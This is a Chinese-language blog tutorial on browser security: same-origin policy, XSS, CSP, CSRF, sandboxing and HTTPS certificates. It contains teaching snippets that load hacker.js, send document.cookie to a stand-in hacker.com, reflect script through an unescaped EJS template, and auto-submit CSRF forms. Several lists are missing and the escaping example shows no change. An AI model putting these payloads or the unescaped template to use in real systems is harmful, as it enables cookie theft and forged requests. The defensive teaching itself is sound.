
Web 世界是开放的,但如果 Web 世界是绝对自由的,那页面行为将没有任何限制,会造成无序或者混沌的局面。
比如打开了银行站点后,意外打开了一个恶意站点,如果没有安全措施,恶意站点可能:
如果两个 URL 的协议、域名和端口都相同,称两个 URL 同源。
https://blog.cellinlab.xyz/timeline/
https://blog.cellinlab.xyz/tag/浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同源之间要相互访问或者操作 DOM,会有一套基础的安全策略制约,即同源策略。
同源策略主要表现在 DOM、Web 数据和网络三个层面:
安全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得 Web 项目难以开发和利用。
在安全和便利之间做了一些权衡,浏览器出让了同源策略的一部分安全性:
页面中可以嵌入第三方资源
浏览器支持外部引用资源文件,比如图片、CSS、JavaScript 等
不过会带来很多问题
<!DOCTYPE html>
<html>
<head>
<title>Title</title>
<script src="http://xxx.com/hacker.js"></script>
</head>
<body>
<h1>Hello World</h1>
</body>
</html>恶意脚本可以修改用户的搜索结果、改变一些内容的连接指向等等
恶意脚本还能将页面的敏感数据,如 Cookie、IndexedDB、LocalStorage 等数据通过 XSS 的手段发送给服务器
// 具体实现是,当不小心点击页面恶意链接时,恶意 JavaScript 可以读取页面数据发送给服务器
function onClick () {
let url = `http://hacker.com?cookie= ${document.cookie}`;
open(url);
}为了解决 XSS 攻击,浏览器引入了内容安全策略 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段可以大大减少 XSS 攻击。
跨域资源共享和跨文档消息机制
window.postMessage 进行不同源的 DOM 通信同源策略可以隔离各个站点之间的 DOM 交互、页面数据和网络通信,虽然严格的同源策略会带来更多的安全,但也束缚了 Web。为了达到安全和自由之间的平衡,默认页面可以引用任意第三方资源,并引入 CSP 策略加以限制;默认 XMLHttpRequest 和 Fetch 不能跨站请求资源,又通过 CORS 策略来支持其跨域。
支持页面中的三方资源引用和 CORS 带来了一些安全问题,最典型的即 XSS 攻击。
XSS(Cross Site Scripting)跨站点脚本攻击,指黑客往 HTML 文件或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用恶意脚本对用户实施攻击。
当页面被注入了恶意 JavaScript 脚本时,浏览器无法区分这些脚本时被恶意注入的还是正常的页面内容,所以恶意注入的 JavaScript 脚本也拥有所有的脚本权限。可以:
document.cookie 获取 Cookie 信息,然后通过 XMLHttpRequest 或 Fetch 加上 CORS 功能将数据发送给恶意服务器addEventListener 接口监听键盘事件,如用户输入的个人数据,将其发送到恶意服务器存储型 XSS 攻击

反射型 XSS 攻击
恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后恶意网站又把恶意 JavaScript 脚本返回给用户,当恶意脚本在用户页面中被执行时,黑客就可以利用该脚本做一些恶意操作
实现
const express = require('express');
const router = express.Router();
router.get('/', (req, res, next) => {
res.render('index', {
title: 'Express',
xss: req.query.xss,
});
});
module.exports = router;<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title><%= title %></title>
<link rel="stylesheet" href="/stylesheets/style.css" />
</head>
<body>
<h1><%= title %></h1>
<p>Welcome to <%= title %></p>
<div>
<%- xss %>
</div>
</body>
</html>http://localhost:3000/?xss=<script>alert('你被xss攻击了')</script> 
基于 DOM 的 XSS 攻击
服务器对输入脚本进行过滤或转码
过滤
// 过滤前
code: <script>alert('你被xss攻击了')</script>
// 过滤后
code: 转码
// 转码前
code: <script>alert('你被xss攻击了')</script>
// 转码后
code: <script>alert('你被xss攻击了')</script>充分利用 CSP
使用 HttpOnly 属性

hacker.com,然后在 hacker.com 页面中,编写好易购邮件过滤器,并通过 Gmail 提供的 HTTP 设置接口设置好新的邮件过滤功能,该过滤器会将 David 所有的邮件都转发到黑客的邮箱中CSRF(Cross-Site Request Forgery)跨站请求伪造,指黑客引诱用户打开黑客的网站,利用用户的登录状态发起的跨站请求。即黑客利用用户的登录状态,通过第三方的站点做出恶意操作。
CSRF 的实施方式有:
自动发起 GET 请求
<!DOCTYPE html>
<html lang="en">
<body>
<h1>黑客站点:CSRF 攻击演示</h1>
<img src="http://cellinlab.xyz/getuserinfo?user=xxx">
</body>
</html>自动发起 POST 请求
<!DOCTYPE html>
<html lang="en">
<body>
<h1>黑客站点:CSRF 攻击演示</h1>
<form action="http://cellinlab.xyz/getuserinfo" method="post">
<input type="text" name="user" value="xxx">
<input type="submit" value="提交">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>引诱用户点击链接
发起 CSRF 攻击的必要条件:
CSRF 防御措施:
充分利用好 Cookie 的 SameSite (opens new window) 属性
Strict:浏览器完全禁止三方 CookieLax:从第三方站点的连接打开和从第三方站点提交 GET 方式的表单会携带 Cookie,其他方式不携带 Cookienone:在任何情况下都会发送 Cookie 信息验证请求的来源网站
CSRF Token
<!DOCTYPE html>
<html lang="en">
<body>
<form action="http://example.com/login" method="POST">
<input type="hidden" name="_csrf" value="csrf_token_xsfsasdadwc">
<input type="text" name="user">
<input type="submit" value="Submit">
</form>
</body>
</html>现代浏览器采用了多进程架构,将渲染进程和浏览器进程做了分离,从操作系统安全的视角看浏览器的多进程架构:

浏览器被划分为浏览器内核和渲染内核两个核心模块,其中浏览器内核是由网络进程、浏览器主进程和 GPU 进程组成的,渲染内核就是渲染进程。
所有的网络资源都是通过浏览器内核来下载的,下载后的资源会通过 IPC 将其提交给渲染进程。然后渲染进程会对这些资源进行解析、绘制等操作,最终生成一幅图片。但是渲染进程并不负责将图片显示到界面上,而是将最终生成的图片提交给浏览器的内核模块,由浏览器内核模块负责显示图片。
将浏览器划分为不同的进程是为了增加其稳定性,虽然设计成了多进程架构,不过这些沟通方式有些复杂。
由于渲染进程需要执行 DOM 解析、CSS 解析、网络图片解码等操作,如果渲染进程中存在系统级别的漏洞,那么以上操作可能让恶意站点获取到渲染进程的控制权限,进而获取操作系统的控制权限,这对于用户来讲十分危险。
因为网络资源的内容存在着各种可能性,所以浏览器会默认网络资源都是不可信的,都是不安全的。只要浏览器出现漏洞,黑客就可能通过网络内容对用户开展攻击。
基于以上原因,需要在渲染进程和操作系统之间建一道墙,使黑客获取不到渲染进程之外的任何操作,将渲染进程和操作系统隔离的这道墙称安全沙箱。
浏览器中的安全沙箱是利用操作系统提供的安全技术,让渲染进程在执行过程中无法访问或者修改操作系统中的数据,在渲染进程需要访问系统资源的时候,需要通过浏览器内核来实现,然后将访问的结果通过 IPC 发送给渲染进程。
安全沙箱最小的保护单位是进程。
安全沙箱能限制进程对操作系统资源的访问和修改,这意味如果要让安全沙箱应用在某个进程上,那么这个进程必须没有读写操作系统的功能,如读写本地文件、发起网络请求、调用 GPU 接口等。
渲染进程和浏览器内核各自的职责:

安全沙箱如何影响各个模块功能:
站点隔离指Chrome 将同一站点(包含了相同根域名和相同协议的地址)中相互关联的页面放到同一个渲染进程中执行。
起初设计 HTTP 协议的目的很单纯,就是为了传输超文本文件,也没有太强的加密传输需求,所以 HTTP 一直保持明文传输数据的特征。这样的话,在传输过程中的每一个环境,数据度有可能被窃取或篡改,即客户端和服务器之间可能有个中间人,HTTP 传输的内容很容易被其窃取、伪造和篡改,称这种攻击为中间人攻击。

由于 HTTP 的明文传输使得传输过程毫无安全性可言,且制约了网购、在线支付等系列应用场景,于是开始引入加密方案。
从 HTTP 协议栈层面来看,可以在 TCP 和 HTTP 之间插入一个安全层,所有经过安全层的数据都会被加密或者解密。

HTTPS 并非一个新的协议,通常 HTTP 直接和 TCP 通信,HTTPS 则先和安全层通信,然后安全层再和 TCP 通信。即 HTTPS 的所有的安全核心都在安全层,它不会影响到上面的 HTTP 协议,也不会影响到下面的 TCP/IP。
总体上,安全层有两个主要职责:
加密和解密都使用相同的密钥。

在第一版的 HTTPS 中,首先要协商加解密方式,这个过程就是 HTTPS 建立安全连接的过程。为了让加密的密钥更加难以破解,让服务器和客户端同时决定密钥,具体过程:
浏览器和服务端都有相同的 client-random 和 service-random 后,使用相同的方法将 client-random 和 service-random 混合生成一个密钥 master-secret,有了密钥 master-secret 和 统一选定的加密套件,双方就能进行数据的加密传输了。
虽然这个版本可以很好地工作,但是其中传输过程中 client-random 和 service-random 都是明文传输的,即黑客可以拿到协商的加密套件和双方的随机数,由于利用随机数合成密钥的算法是公开的,所以黑客拿到随机数后,也可以合成密钥,这样数据依然可以被破解,黑客在获取密钥后也能伪造和篡改数据。
非对称加密有 A 、 B 两个密钥,如果用 A 密钥来加密,那么只能使用 B 密钥来解密;反过来,如果用 B 密钥来加密,那么只能使用 A 密钥来解密。
在 HTTPS 中,服务器会将其中的一个密钥通过明文的形式发送给客户端,将这个密钥称为公钥,服务器自己留下的密钥称为私钥。公钥每个人都能获取到,私钥只有服务器才能知道,不对任何人公开。

具体流程:
使用非对称能保证浏览器发送给服务器的数据是安全的,当存在两个严重的问题:
在传输阶段依然使用对称加密,但是对称加密的密钥使用非对称加密来传输。

具体流程:
至此,服务器和浏览器有了共同的 client-random、service-random 和 pre-master,然后服务器和浏览器会使用这三组随机数生成对称密钥,双方开始使用对称加密来传输数据。
注意,pre-master 是经过公钥加密之后传输的,所以黑客无获取到 pre-master,这样就无法生成密钥,以此保证黑客无法破解传输过程中的数据。
使用对称和非对称混合方式,完美实现了数据的加密传输。但是还是存在问题,如果黑客通过 DNS 劫持将域名指向黑客服务器,这样就变成客户端访问黑客服务器,黑客就能在自己的服务器上实现自己的公钥和私钥,对于浏览器来说,完全不知道访问的是黑客的站点。
所以,服务器需要像浏览器证明,我就是我。
因此,引进了权威机构(CA,Certificate Authority),通过权威机构给服务颁发数字证书。
对于浏览器来说,数字证书有两个作用:

数字证书主要做了两点改变:
通过引入数字证书,实现了服务器的身份认证功能,这样即便黑客伪造了服务器,但是由于证书是没有办法伪造的,所以依然无法欺骗用户
通常的申请流程:
其中,数字签名的过程如下:
当浏览器访问服务器时,服务器会返回数字证书给浏览器。浏览器收到后进行验证:
如果 CA 比较小众,浏览器会继续查找给当前 CA 颁发证书的 CA,一直沿着 CA 链查找验证其上级 CA 的可靠性。通常浏览器会内置信任的顶级 CA 的证书信息。
在申请和使用证书时,需要注意: